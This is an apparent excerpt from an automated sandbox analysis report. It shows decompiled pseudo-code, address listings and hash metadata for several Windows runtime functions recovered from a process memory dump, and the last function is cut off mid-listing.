0x00000000
0x012a25fe
0x012a292d
0x012a292f
0x012a2930
0x012a2935
0x012a2939
0x012a293e
0x012a2941
0x012a2945
0x012a2946
0x012a2948
0x012a294e
0x012a294f
0x012a2957
0x012a295a
0x012a295c
0x012a2962
0x012a2965
0x012a2966
0x012a2968
0x012a296e
0x012a2971
0x012a2974
0x012a297b
0x012a297e
0x012a297f
0x012a2980
0x012a2981
0x012a2982
0x012a2983
0x012a2984
0x012a2985
0x012a2986
0x012a2987
0x012a2988
0x012a2989
0x012a298a
0x012a298b
0x012a298c
0x012a298d
0x012a298e
0x012a298f
0x012a2990
0x012a2992
0x012a2997
0x012a29a3
0x012a29a6
0x012a29ab
0x012a29ad
0x012a29b0
0x012a29b2
0x012e5c80
0x012a29b8
0x012a29b8
0x012a29bb
0x012a29c0
0x012a29c5
0x012a29c6
0x012a29c6
0x012a29c9
0x012a29cb
0x00000000
0x00000000
0x012a29cd
0x012a29d0
0x012a29d9
0x012a29db
0x012a29dd
0x012a2a7f
0x012a2a84
0x012a2a87
0x012a2a89
0x012e5ca1
0x012e5ca3
0x00000000
0x012a2a8f
0x012a2a8f
0x00000000
0x012a2a8f
0x00000000
0x012a29e3
0x012a29e3
0x012a29e3
0x00000000
0x012a29e3
0x012a29dd
0x00000000
0x012a29db
0x012a29e6
0x012a29e9
0x012a29eb
0x012a29ed
0x012a29f3
0x012a29f5
0x012a29f8
0x012a29fa
0x012a2a97
0x012a2a9a
0x012a2a9d
0x012a2add
0x00000000
0x012a2a9f
0x012a2aa2
0x012a2aa5
0x012a2aa8
0x012a2aab
0x012e5cab
0x012e5caf
0x012e5cc5
0x012e5cda
0x012e5cdc
0x012e5cdf
0x012e5ce5
0x00000000
0x012e5ceb
0x012e5ced
0x012e5cee
0x00000000
0x012e5cee
0x012e5cb1
0x012e5cb4
0x012e5cb9
0x012e5cbb
0x00000000
0x012e5cbd
0x012e5cbd
0x00000000
0x012e5cbd
0x012e5cbb
0x012a2ab1
0x012a2ab1
0x012a2ac4
0x012a2ac6
0x012a2ac6
0x00000000
0x012a2ac6
0x012a2aab
0x00000000
0x012a2a00
0x012a2a09
0x012a2a0e
0x012a2a21
0x012a2a24
0x012a2a35
0x012a2a3a
0x012a2a3d
0x012a2a42
0x012a2a59
0x012a2a59
0x012a2a5c
0x012a2a5f
0x012a2a5f
0x012a29fa
0x012a29f3
0x012a2a64
0x012a2a64
0x012a2a6b
0x012a2a6b
0x012a2a6d
0x012a2a72
0x012a2a72
0x00000000

Strings

PATH, xrefs: 012A2642, 012A2691

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID: PATH
API String ID: 0-1036084923
Opcode ID: 60c106322c59da74ad6d113f20c9d8c5d49594657f90ea182718b5018e47248a
Instruction ID: 8874a8c1ce7579cef27c1b4119fca3314943ef9ba8def7d508d337973e4232e4
Opcode Fuzzy Hash: 60c106322c59da74ad6d113f20c9d8c5d49594657f90ea182718b5018e47248a
Instruction Fuzzy Hash: 0BC1BFB5D2121ADFDB29DF98DC81ABDBBB5FF48740F844029E901BB250E774A941CB60

Uniqueness

Uniqueness Score: -1.00%

Function 012AFAB0, Relevance: 1.6, Strings: 1, Instructions: 306
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E012AFAB0(void* __ebx, void* __esi, signed int _a8, signed int _a12) {
				char _v5;
				signed int _v8;
				signed int _v12;
				char _v16;
				char _v17;
				char _v20;
				signed int _v24;
				char _v28;
				char _v32;
				signed int _v40;
				void* __ecx;
				void* __edi;
				void* __ebp;
				signed int _t73;
				intOrPtr* _t75;
				signed int _t77;
				signed int _t79;
				signed int _t81;
				intOrPtr _t83;
				intOrPtr _t85;
				intOrPtr _t86;
				signed int _t91;
				signed int _t94;
				signed int _t95;
				signed int _t96;
				signed int _t106;
				signed int _t108;
				signed int _t114;
				signed int _t116;
				signed int _t118;
				signed int _t122;
				signed int _t123;
				void* _t129;
				signed int _t130;
				void* _t132;
				intOrPtr* _t134;
				signed int _t138;
				signed int _t141;
				signed int _t147;
				intOrPtr _t153;
				signed int _t154;
				signed int _t155;
				signed int _t170;
				void* _t174;
				signed int _t176;
				signed int _t177;

				_t129 = __ebx;
				_push(_t132);
				_push(__esi);
				_t174 = _t132;
				_t73 =  !( *( *(_t174 + 0x18)));
				if(_t73 >= 0) {
					L5:
					return _t73;
				} else {
					E0128EEF0(0x1367b60);
					_t134 =  *0x1367b84; // 0x773b7b80
					_t2 = _t174 + 0x24; // 0x24
					_t75 = _t2;
					if( *_t134 != 0x1367b80) {
						_push(3);
						asm("int 0x29");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_push(0x1367b60);
						_t170 = _v8;
						_v28 = 0;
						_v40 = 0;
						_v24 = 0;
						_v17 = 0;
						_v32 = 0;
						__eflags = _t170 & 0xffff7cf2;
						if((_t170 & 0xffff7cf2) != 0) {
							L43:
							_t77 = 0xc000000d;
						} else {
							_t79 = _t170 & 0x0000000c;
							__eflags = _t79;
							if(_t79 != 0) {
								__eflags = _t79 - 0xc;
								if(_t79 == 0xc) {
									goto L43;
								} else {
									goto L9;
								}
							} else {
								_t170 = _t170 | 0x00000008;
								__eflags = _t170;
								L9:
								_t81 = _t170 & 0x00000300;
								__eflags = _t81 - 0x300;
								if(_t81 == 0x300) {
									goto L43;
								} else {
									_t138 = _t170 & 0x00000001;
									__eflags = _t138;
									_v24 = _t138;
									if(_t138 != 0) {
										__eflags = _t81;
										if(_t81 != 0) {
											goto L43;
										} else {
											goto L11;
										}
									} else {
										L11:
										_push(_t129);
										_t77 = E01286D90( &_v20);
										_t130 = _t77;
										__eflags = _t130;
										if(_t130 >= 0) {
											_push(_t174);
											__eflags = _t170 & 0x00000301;
											if((_t170 & 0x00000301) == 0) {
												_t176 = _a8;
												__eflags = _t176;
												if(__eflags == 0) {
													L64:
													_t83 =  *[fs:0x18];
													_t177 = 0;
													__eflags =  *(_t83 + 0xfb8);
													if( *(_t83 + 0xfb8) != 0) {
														E012876E2( *((intOrPtr*)( *[fs:0x18] + 0xfb8)));
														 *((intOrPtr*)( *[fs:0x18] + 0xfb8)) = 0;
													}
													 *((intOrPtr*)( *[fs:0x18] + 0xfb8)) = _v12;
													goto L15;
												} else {
													asm("sbb edx, edx");
													_t114 = E01318938(_t130, _t176, ( ~(_t170 & 4) & 0xffffffaf) + 0x55, _t170, _t176, __eflags);
													__eflags = _t114;
													if(_t114 < 0) {
														_push("*** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!\n");
														E0127B150();
													}
													_t116 = E01316D81(_t176,  &_v16);
													__eflags = _t116;
													if(_t116 >= 0) {
														__eflags = _v16 - 2;
														if(_v16 < 2) {
															L56:
															_t118 = E012875CE(_v20, 5, 0);
															__eflags = _t118;
															if(_t118 < 0) {
																L67:
																_t130 = 0xc0000017;
																goto L32;
															} else {
																__eflags = _v12;
																if(_v12 == 0) {
																	goto L67;
																} else {
																	_t153 =  *0x1368638; // 0x0
																	_t122 = L012838A4(_t153, _t176, _v16, _t170 | 0x00000002, 0x1a, 5,  &_v12);
																	_t154 = _v12;
																	_t130 = _t122;
																	__eflags = _t130;
																	if(_t130 >= 0) {
																		_t123 =  *(_t154 + 4) & 0x0000ffff;
																		__eflags = _t123;
																		if(_t123 != 0) {
																			_t155 = _a12;
																			__eflags = _t155;
																			if(_t155 != 0) {
																				 *_t155 = _t123;
																			}
																			goto L64;
																		} else {
																			E012876E2(_t154);
																			goto L41;
																		}
																	} else {
																		E012876E2(_t154);
																		_t177 = 0;
																		goto L18;
																	}
																}
															}
														} else {
															__eflags =  *_t176;
															if( *_t176 != 0) {
																goto L56;
															} else {
																__eflags =  *(_t176 + 2);
																if( *(_t176 + 2) == 0) {
																	goto L64;
																} else {
																	goto L56;
																}
															}
														}
													} else {
														_t130 = 0xc000000d;
														goto L32;
													}
												}
												goto L35;
											} else {
												__eflags = _a8;
												if(_a8 != 0) {
													_t77 = 0xc000000d;
												} else {
													_v5 = 1;
													L012AFCE3(_v20, _t170);
													_t177 = 0;
													__eflags = 0;
													L15:
													_t85 =  *[fs:0x18];
													__eflags =  *((intOrPtr*)(_t85 + 0xfc0)) - _t177;
													if( *((intOrPtr*)(_t85 + 0xfc0)) == _t177) {
														L18:
														__eflags = _t130;
														if(_t130 != 0) {
															goto L32;
														} else {
															__eflags = _v5 - _t130;
															if(_v5 == _t130) {
																goto L32;
															} else {
																_t86 =  *[fs:0x18];
																__eflags =  *((intOrPtr*)(_t86 + 0xfbc)) - _t177;
																if( *((intOrPtr*)(_t86 + 0xfbc)) != _t177) {
																	_t177 =  *( *( *[fs:0x18] + 0xfbc));
																}
																__eflags = _t177;
																if(_t177 == 0) {
																	L31:
																	__eflags = 0;
																	L012870F0(_t170 | 0x00000030,  &_v32, 0,  &_v28);
																	goto L32;
																} else {
																	__eflags = _v24;
																	_t91 =  *(_t177 + 0x20);
																	if(_v24 != 0) {
																		 *(_t177 + 0x20) = _t91 & 0xfffffff9;
																		goto L31;
																	} else {
																		_t141 = _t91 & 0x00000040;
																		__eflags = _t170 & 0x00000100;
																		if((_t170 & 0x00000100) == 0) {
																			__eflags = _t141;
																			if(_t141 == 0) {
																				L74:
																				_t94 = _t91 & 0xfffffffd | 0x00000004;
																				goto L27;
																			} else {
																				_t177 = E012AFD22(_t177);
																				__eflags = _t177;
																				if(_t177 == 0) {
																					goto L42;
																				} else {
																					_t130 = E012AFD9B(_t177, 0, 4);
																					__eflags = _t130;
																					if(_t130 != 0) {
																						goto L42;
																					} else {
																						_t68 = _t177 + 0x20;
																						 *_t68 =  *(_t177 + 0x20) & 0xffffffbf;
																						__eflags =  *_t68;
																						_t91 =  *(_t177 + 0x20);
																						goto L74;
																					}
																				}
																			}
																			goto L35;
																		} else {
																			__eflags = _t141;
																			if(_t141 != 0) {
																				_t177 = E012AFD22(_t177);
																				__eflags = _t177;
																				if(_t177 == 0) {
																					L42:
																					_t77 = 0xc0000001;
																					goto L33;
																				} else {
																					_t130 = E012AFD9B(_t177, 0, 4);
																					__eflags = _t130;
																					if(_t130 != 0) {
																						goto L42;
																					} else {
																						 *(_t177 + 0x20) =  *(_t177 + 0x20) & 0xffffffbf;
																						_t91 =  *(_t177 + 0x20);
																						goto L26;
																					}
																				}
																				goto L35;
																			} else {
																				L26:
																				_t94 = _t91 & 0xfffffffb | 0x00000002;
																				__eflags = _t94;
																				L27:
																				 *(_t177 + 0x20) = _t94;
																				__eflags = _t170 & 0x00008000;
																				if((_t170 & 0x00008000) != 0) {
																					_t95 = _a12;
																					__eflags = _t95;
																					if(_t95 != 0) {
																						_t96 =  *_t95;
																						__eflags = _t96;
																						if(_t96 != 0) {
																							 *((short*)(_t177 + 0x22)) = 0;
																							_t40 = _t177 + 0x20;
																							 *_t40 =  *(_t177 + 0x20) | _t96 << 0x00000010;
																							__eflags =  *_t40;
																						}
																					}
																				}
																				goto L31;
																			}
																		}
																	}
																}
															}
														}
													} else {
														_t147 =  *( *[fs:0x18] + 0xfc0);
														_t106 =  *(_t147 + 0x20);
														__eflags = _t106 & 0x00000040;
														if((_t106 & 0x00000040) != 0) {
															_t147 = E012AFD22(_t147);
															__eflags = _t147;
															if(_t147 == 0) {
																L41:
																_t130 = 0xc0000001;
																L32:
																_t77 = _t130;
																goto L33;
															} else {
																 *(_t147 + 0x20) =  *(_t147 + 0x20) & 0xffffffbf;
																_t106 =  *(_t147 + 0x20);
																goto L17;
															}
															goto L35;
														} else {
															L17:
															_t108 = _t106 | 0x00000080;
															__eflags = _t108;
															 *(_t147 + 0x20) = _t108;
															 *( *[fs:0x18] + 0xfc0) = _t147;
															goto L18;
														}
													}
												}
											}
											L33:
										}
									}
								}
							}
						}
						L35:
						return _t77;
					} else {
						 *_t75 = 0x1367b80;
						 *((intOrPtr*)(_t75 + 4)) = _t134;
						 *_t134 = _t75;
						 *0x1367b84 = _t75;
						_t73 = E0128EB70(_t134, 0x1367b60);
						if( *0x1367b20 != 0) {
							_t73 =  *( *[fs:0x30] + 0xc);
							if( *((char*)(_t73 + 0x28)) == 0) {
								_t73 = E0128FF60( *0x1367b20);
							}
						}
						goto L5;
					}
				}
			}

0x012afab0
0x012afab2
0x012afab3
0x012afab4
0x012afabc
0x012afac0
0x012afb14
0x012afb17
0x012afac2
0x012afac8
0x012afacd
0x012afad3
0x012afad3
0x012afadd
0x012afb18
0x012afb1b
0x012afb1d
0x012afb1e
0x012afb1f
0x012afb20
0x012afb21
0x012afb22
0x012afb23
0x012afb24
0x012afb25
0x012afb26
0x012afb27
0x012afb28
0x012afb29
0x012afb2a
0x012afb2b
0x012afb2c
0x012afb2d
0x012afb2e
0x012afb2f
0x012afb3a
0x012afb3b
0x012afb3e
0x012afb41
0x012afb44
0x012afb47
0x012afb4a
0x012afb4d
0x012afb53
0x012ebdcb
0x012ebdcb
0x012afb59
0x012afb5b
0x012afb5b
0x012afb5e
0x012ebdd5
0x012ebdd8
0x00000000
0x012ebdda
0x00000000
0x012ebdda
0x012afb64
0x012afb64
0x012afb64
0x012afb67
0x012afb6e
0x012afb70
0x012afb72
0x00000000
0x012afb78
0x012afb7a
0x012afb7a
0x012afb7d
0x012afb80
0x012ebddf
0x012ebde1
0x00000000
0x012ebde3
0x00000000
0x012ebde3
0x012afb86
0x012afb86
0x012afb86
0x012afb8b
0x012afb90
0x012afb92
0x012afb94
0x012afb9a
0x012afb9b
0x012afba1
0x012ebde8
0x012ebdeb
0x012ebded
0x012ebeb5
0x012ebeb5
0x012ebebb
0x012ebebd
0x012ebec3
0x012ebed2
0x012ebedd
0x012ebedd
0x012ebeed
0x00000000
0x012ebdf3
0x012ebdfe
0x012ebe06
0x012ebe0b
0x012ebe0d
0x012ebe0f
0x012ebe14
0x012ebe19
0x012ebe20
0x012ebe25
0x012ebe27
0x012ebe35
0x012ebe39
0x012ebe46
0x012ebe4f
0x012ebe54
0x012ebe56
0x012ebef8
0x012ebef8
0x00000000
0x012ebe5c
0x012ebe5c
0x012ebe60
0x00000000
0x012ebe66
0x012ebe66
0x012ebe7f
0x012ebe84
0x012ebe87
0x012ebe89
0x012ebe8b
0x012ebe99
0x012ebe9d
0x012ebea0
0x012ebeac
0x012ebeaf
0x012ebeb1
0x012ebeb3
0x012ebeb3
0x00000000
0x012ebea2
0x012ebea2
0x00000000
0x012ebea2
0x012ebe8d
0x012ebe8d
0x012ebe92
0x00000000
0x012ebe92
0x012ebe8b
0x012ebe60
0x012ebe3b
0x012ebe3b
0x012ebe3e
0x00000000
0x012ebe40
0x012ebe40
0x012ebe44
0x00000000
0x00000000
0x00000000
0x00000000
0x012ebe44
0x012ebe3e
0x012ebe29
0x012ebe29
0x00000000
0x012ebe29
0x012ebe27
0x00000000
0x012afba7
0x012afba7
0x012afbab
0x012ebf02
0x012afbb1
0x012afbb1
0x012afbb8
0x012afbbd
0x012afbbd
0x012afbbf
0x012afbbf
0x012afbc5
0x012afbcb
0x012afbf8
0x012afbf8
0x012afbfa
0x00000000
0x012afc00
0x012afc00
0x012afc03
0x00000000
0x012afc09
0x012afc09
0x012afc0f
0x012afc15
0x012afc23
0x012afc23
0x012afc25
0x012afc27
0x012afc75
0x012afc7c
0x012afc84
0x00000000
0x012afc29
0x012afc29
0x012afc2d
0x012afc30
0x012ebf0f
0x00000000
0x012afc36
0x012afc38
0x012afc3b
0x012afc41
0x012ebf17
0x012ebf19
0x012ebf48
0x012ebf4b
0x00000000
0x012ebf1b
0x012ebf22
0x012ebf24
0x012ebf26
0x00000000
0x012ebf2c
0x012ebf37
0x012ebf39
0x012ebf3b
0x00000000
0x012ebf41
0x012ebf41
0x012ebf41
0x012ebf41
0x012ebf45
0x00000000
0x012ebf45
0x012ebf3b
0x012ebf26
0x00000000
0x012afc47
0x012afc47
0x012afc49
0x012afcb2
0x012afcb4
0x012afcb6
0x012afcdc
0x012afcdc
0x00000000
0x012afcb8
0x012afcc3
0x012afcc5
0x012afcc7
0x00000000
0x012afcc9
0x012afcc9
0x012afccd
0x00000000
0x012afccd
0x012afcc7
0x00000000
0x012afc4b
0x012afc4b
0x012afc4e
0x012afc4e
0x012afc51
0x012afc51
0x012afc54
0x012afc5a
0x012afc5c
0x012afc5f
0x012afc61
0x012afc63
0x012afc65
0x012afc67
0x012afc6e
0x012afc72
0x012afc72
0x012afc72
0x012afc72
0x012afc67
0x012afc61
0x00000000
0x012afc5a
0x012afc49
0x012afc41
0x012afc30
0x012afc27
0x012afc03
0x012afbcd
0x012afbd3
0x012afbd9
0x012afbdc
0x012afbde
0x012afc99
0x012afc9b
0x012afc9d
0x012afcd5
0x012afcd5
0x012afc89
0x012afc89
0x00000000
0x012afc9f
0x012afc9f
0x012afca3
0x00000000
0x012afca3
0x00000000
0x012afbe4
0x012afbe4
0x012afbe4
0x012afbe4
0x012afbe9
0x012afbf2
0x00000000
0x012afbf2
0x012afbde
0x012afbcb
0x012afbab
0x012afc8b
0x012afc8b
0x012afc8c
0x012afb80
0x012afb72
0x012afb5e
0x012afc8d
0x012afc91
0x012afadf
0x012afadf
0x012afae1
0x012afae4
0x012afae7
0x012afaec
0x012afaf8
0x012afb00
0x012afb07
0x012afb0f
0x012afb0f
0x012afb07
0x00000000
0x012afaf8
0x012afadd

Strings

*** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!, xrefs: 012EBE0F

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID: *** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!
API String ID: 0-865735534
Opcode ID: 70e8ca4a8896f7513d3e389712846247b42d88738d7e1069c64a3819390ed859
Instruction ID: 533f9aec89b280e545d429d627dab85fdae4f7bb31e1d389f235639c13fd70a8
Opcode Fuzzy Hash: 70e8ca4a8896f7513d3e389712846247b42d88738d7e1069c64a3819390ed859
Instruction Fuzzy Hash: 01A13631B20607CBEB26DF69C5547BEB7F5AF48714F844569EA02CB691EB38D841CB80

Uniqueness

Uniqueness Score: -1.00%

Function 01272D8A, Relevance: 1.4, Strings: 1, Instructions: 191
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E01272D8A(void* __ebx, signed char __ecx, signed int __edx, signed int __edi) {
				signed char _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				signed int _v52;
				void* __esi;
				void* __ebp;
				intOrPtr _t55;
				signed int _t57;
				signed int _t58;
				char* _t62;
				signed char* _t63;
				signed char* _t64;
				signed int _t67;
				signed int _t72;
				signed int _t77;
				signed int _t78;
				signed int _t88;
				intOrPtr _t89;
				signed char _t93;
				signed int _t97;
				signed int _t98;
				signed int _t102;
				signed int _t103;
				intOrPtr _t104;
				signed int _t105;
				signed int _t106;
				signed char _t109;
				signed int _t111;
				void* _t116;

				_t102 = __edi;
				_t97 = __edx;
				_v12 = _v12 & 0x00000000;
				_t55 =  *[fs:0x18];
				_t109 = __ecx;
				_v8 = __edx;
				_t86 = 0;
				_v32 = _t55;
				_v24 = 0;
				_push(__edi);
				if(__ecx == 0x1365350) {
					_t86 = 1;
					_v24 = 1;
					 *((intOrPtr*)(_t55 + 0xf84)) = 1;
				}
				_t103 = _t102 | 0xffffffff;
				if( *0x1367bc8 != 0) {
					_push(0xc000004b);
					_push(_t103);
					E012B97C0();
				}
				if( *0x13679c4 != 0) {
					_t57 = 0;
				} else {
					_t57 = 0x13679c8;
				}
				_v16 = _t57;
				if( *((intOrPtr*)(_t109 + 0x10)) == 0) {
					_t93 = _t109;
					L23();
				}
				_t58 =  *_t109;
				if(_t58 == _t103) {
					__eflags =  *(_t109 + 0x14) & 0x01000000;
					_t58 = _t103;
					if(__eflags == 0) {
						_t93 = _t109;
						E012A1624(_t86, __eflags);
						_t58 =  *_t109;
					}
				}
				_v20 = _v20 & 0x00000000;
				if(_t58 != _t103) {
					 *((intOrPtr*)(_t58 + 0x14)) =  *((intOrPtr*)(_t58 + 0x14)) + 1;
				}
				_t104 =  *((intOrPtr*)(_t109 + 0x10));
				_t88 = _v16;
				_v28 = _t104;
				L9:
				while(1) {
					if(E01297D50() != 0) {
						_t62 = ( *[fs:0x30])[0x50] + 0x228;
					} else {
						_t62 = 0x7ffe0382;
					}
					if( *_t62 != 0) {
						_t63 =  *[fs:0x30];
						__eflags = _t63[0x240] & 0x00000002;
						if((_t63[0x240] & 0x00000002) != 0) {
							_t93 = _t109;
							E0130FE87(_t93);
						}
					}
					if(_t104 != 0xffffffff) {
						_push(_t88);
						_push(0);
						_push(_t104);
						_t64 = E012B9520();
						goto L15;
					} else {
						while(1) {
							_t97 =  &_v8;
							_t64 = E012AE18B(_t109 + 4, _t97, 4, _t88, 0);
							if(_t64 == 0x102) {
								break;
							}
							_t93 =  *(_t109 + 4);
							_v8 = _t93;
							if((_t93 & 0x00000002) != 0) {
								continue;
							}
							L15:
							if(_t64 == 0x102) {
								break;
							}
							_t89 = _v24;
							if(_t64 < 0) {
								L012CDF30(_t93, _t97, _t64);
								_push(_t93);
								_t98 = _t97 | 0xffffffff;
								__eflags =  *0x1366901;
								_push(_t109);
								_v52 = _t98;
								if( *0x1366901 != 0) {
									_push(0);
									_push(1);
									_push(0);
									_push(0x100003);
									_push( &_v12);
									_t72 = E012B9980();
									__eflags = _t72;
									if(_t72 < 0) {
										_v12 = _t98 | 0xffffffff;
									}
								}
								asm("lock cmpxchg [ecx], edx");
								_t111 = 0;
								__eflags = 0;
								if(0 != 0) {
									__eflags = _v12 - 0xffffffff;
									if(_v12 != 0xffffffff) {
										_push(_v12);
										E012B95D0();
									}
								} else {
									_t111 = _v12;
								}
								return _t111;
							} else {
								if(_t89 != 0) {
									 *((intOrPtr*)(_v32 + 0xf84)) = 0;
									_t77 = E01297D50();
									__eflags = _t77;
									if(_t77 == 0) {
										_t64 = 0x7ffe0384;
									} else {
										_t64 = ( *[fs:0x30])[0x50] + 0x22a;
									}
									__eflags =  *_t64;
									if( *_t64 != 0) {
										_t64 =  *[fs:0x30];
										__eflags = _t64[0x240] & 0x00000004;
										if((_t64[0x240] & 0x00000004) != 0) {
											_t78 = E01297D50();
											__eflags = _t78;
											if(_t78 == 0) {
												_t64 = 0x7ffe0385;
											} else {
												_t64 = ( *[fs:0x30])[0x50] + 0x22b;
											}
											__eflags =  *_t64 & 0x00000020;
											if(( *_t64 & 0x00000020) != 0) {
												_t64 = E012F7016(0x1483, _t97 | 0xffffffff, 0xffffffff, 0xffffffff, 0, 0);
											}
										}
									}
								}
								return _t64;
							}
						}
						_t97 = _t88;
						_t93 = _t109;
						E0130FDDA(_t97, _v12);
						_t105 =  *_t109;
						_t67 = _v12 + 1;
						_v12 = _t67;
						__eflags = _t105 - 0xffffffff;
						if(_t105 == 0xffffffff) {
							_t106 = 0;
							__eflags = 0;
						} else {
							_t106 =  *(_t105 + 0x14);
						}
						__eflags = _t67 - 2;
						if(_t67 > 2) {
							__eflags = _t109 - 0x1365350;
							if(_t109 != 0x1365350) {
								__eflags = _t106 - _v20;
								if(__eflags == 0) {
									_t93 = _t109;
									E0130FFB9(_t88, _t93, _t97, _t106, _t109, __eflags);
								}
							}
						}
						_push("RTL: Re-Waiting\n");
						_push(0);
						_push(0x65);
						_v20 = _t106;
						E01305720();
						_t104 = _v28;
						_t116 = _t116 + 0xc;
						continue;
					}
				}
			}

0x01272d8a
0x01272d8a
0x01272d92
0x01272d96
0x01272d9e
0x01272da0
0x01272da3
0x01272da5
0x01272da8
0x01272dab
0x01272db2
0x012cf9aa
0x012cf9ab
0x012cf9ae
0x012cf9ae
0x01272db8
0x01272dc2
0x012cf9b9
0x012cf9be
0x012cf9bf
0x012cf9bf
0x01272dcf
0x012cf9c9
0x01272dd5
0x01272dd5
0x01272dd5
0x01272dde
0x01272de1
0x01272e70
0x01272e72
0x01272e72
0x01272de7
0x01272deb
0x01272e7c
0x01272e83
0x01272e85
0x01272e8b
0x01272e8d
0x01272e92
0x01272e92
0x01272e85
0x01272df1
0x01272df7
0x01272df9
0x01272df9
0x01272dfc
0x01272dff
0x01272e02
0x00000000
0x01272e05
0x01272e0c
0x012cf9d9
0x01272e12
0x01272e12
0x01272e12
0x01272e1a
0x012cf9e3
0x012cf9e9
0x012cf9f0
0x012cf9f6
0x012cf9f8
0x012cf9f8
0x012cf9f0
0x01272e23
0x012cfa02
0x012cfa03
0x012cfa05
0x012cfa06
0x00000000
0x01272e29
0x01272e29
0x01272e2e
0x01272e34
0x01272e3e
0x00000000
0x00000000
0x01272e44
0x01272e47
0x01272e4d
0x00000000
0x00000000
0x01272e4f
0x01272e54
0x00000000
0x00000000
0x01272e5a
0x01272e5f
0x01272e9a
0x01272ea4
0x01272ea5
0x01272ea8
0x01272eaf
0x01272eb2
0x01272eb5
0x012cfae9
0x012cfaeb
0x012cfaed
0x012cfaef
0x012cfaf7
0x012cfaf8
0x012cfafd
0x012cfaff
0x012cfb04
0x012cfb04
0x012cfaff
0x01272ec0
0x01272ec4
0x01272ec6
0x01272ec8
0x012cfb14
0x012cfb18
0x012cfb1e
0x012cfb21
0x012cfb21
0x01272ece
0x01272ece
0x01272ece
0x01272ed7
0x01272e61
0x01272e63
0x012cfa6b
0x012cfa71
0x012cfa76
0x012cfa78
0x012cfa8a
0x012cfa7a
0x012cfa83
0x012cfa83
0x012cfa8f
0x012cfa91
0x012cfa97
0x012cfa9d
0x012cfaa4
0x012cfaaa
0x012cfaaf
0x012cfab1
0x012cfac3
0x012cfab3
0x012cfabc
0x012cfabc
0x012cfac8
0x012cfacb
0x012cfadf
0x012cfadf
0x012cfacb
0x012cfaa4
0x012cfa91
0x01272e6f
0x01272e6f
0x01272e5f
0x012cfa13
0x012cfa15
0x012cfa17
0x012cfa1f
0x012cfa21
0x012cfa22
0x012cfa25
0x012cfa28
0x012cfa2f
0x012cfa2f
0x012cfa2a
0x012cfa2a
0x012cfa2a
0x012cfa31
0x012cfa34
0x012cfa36
0x012cfa3c
0x012cfa3e
0x012cfa41
0x012cfa43
0x012cfa45
0x012cfa45
0x012cfa41
0x012cfa3c
0x012cfa4a
0x012cfa4f
0x012cfa51
0x012cfa53
0x012cfa56
0x012cfa5b
0x012cfa5e
0x00000000
0x012cfa5e
0x01272e23

Strings

RTL: Re-Waiting, xrefs: 012CFA4A

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID: RTL: Re-Waiting
API String ID: 0-316354757
Opcode ID: e6db8ebafa3dca7e77c991af3d6ed974a51deee4880d0f29c8abc5a9a47170fe
Instruction ID: e07628d314b2a5dc06ae0229638e0b933d83986b5f40a2366dee1aeec512a73d
Opcode Fuzzy Hash: e6db8ebafa3dca7e77c991af3d6ed974a51deee4880d0f29c8abc5a9a47170fe
Instruction Fuzzy Hash: 45614531A20606DFEB32DF6CC980B7FBBE6EB45B14F1446A9EB11972C1C774A9008791

Uniqueness

Uniqueness Score: -1.00%

Function 01340EA5, Relevance: 1.4, Strings: 1, Instructions: 153
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E01340EA5(void* __ecx, void* __edx) {
				signed int _v20;
				char _v24;
				intOrPtr _v28;
				unsigned int _v32;
				signed int _v36;
				intOrPtr _v40;
				char _v44;
				intOrPtr _v64;
				void* __ebx;
				void* __edi;
				signed int _t58;
				unsigned int _t60;
				intOrPtr _t62;
				char* _t67;
				char* _t69;
				void* _t80;
				void* _t83;
				intOrPtr _t93;
				intOrPtr _t115;
				char _t117;
				void* _t120;

				_t83 = __edx;
				_t117 = 0;
				_t120 = __ecx;
				_v44 = 0;
				if(E0133FF69(__ecx,  &_v44,  &_v32) < 0) {
					L24:
					_t109 = _v44;
					if(_v44 != 0) {
						E01341074(_t83, _t120, _t109, _t117, _t117);
					}
					L26:
					return _t117;
				}
				_t93 =  *((intOrPtr*)(__ecx + 0x3c));
				_t5 = _t83 + 1; // 0x1
				_v36 = _t5 << 0xc;
				_v40 = _t93;
				_t58 =  *(_t93 + 0xc) & 0x40000000;
				asm("sbb ebx, ebx");
				_t83 = ( ~_t58 & 0x0000003c) + 4;
				if(_t58 != 0) {
					_push(0);
					_push(0x14);
					_push( &_v24);
					_push(3);
					_push(_t93);
					_push(0xffffffff);
					_t80 = E012B9730();
					_t115 = _v64;
					if(_t80 < 0 || (_v20 & 0x00000060) == 0 || _v24 != _t115) {
						_push(_t93);
						E0133A80D(_t115, 1, _v20, _t117);
						_t83 = 4;
					}
				}
				if(E0133A854( &_v44,  &_v36, _t117, 0x40001000, _t83, _t117,  *((intOrPtr*)(_t120 + 0x34)),  *((intOrPtr*)(_t120 + 0x38))) < 0) {
					goto L24;
				}
				_t60 = _v32;
				_t97 = (_t60 != 0x100000) + 1;
				_t83 = (_v44 -  *0x1368b04 >> 0x14) + (_v44 -  *0x1368b04 >> 0x14);
				_v28 = (_t60 != 0x100000) + 1;
				_t62 = _t83 + (_t60 >> 0x14) * 2;
				_v40 = _t62;
				if(_t83 >= _t62) {
					L10:
					asm("lock xadd [eax], ecx");
					asm("lock xadd [eax], ecx");
					if(E01297D50() == 0) {
						_t67 = 0x7ffe0380;
					} else {
						_t67 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
					}
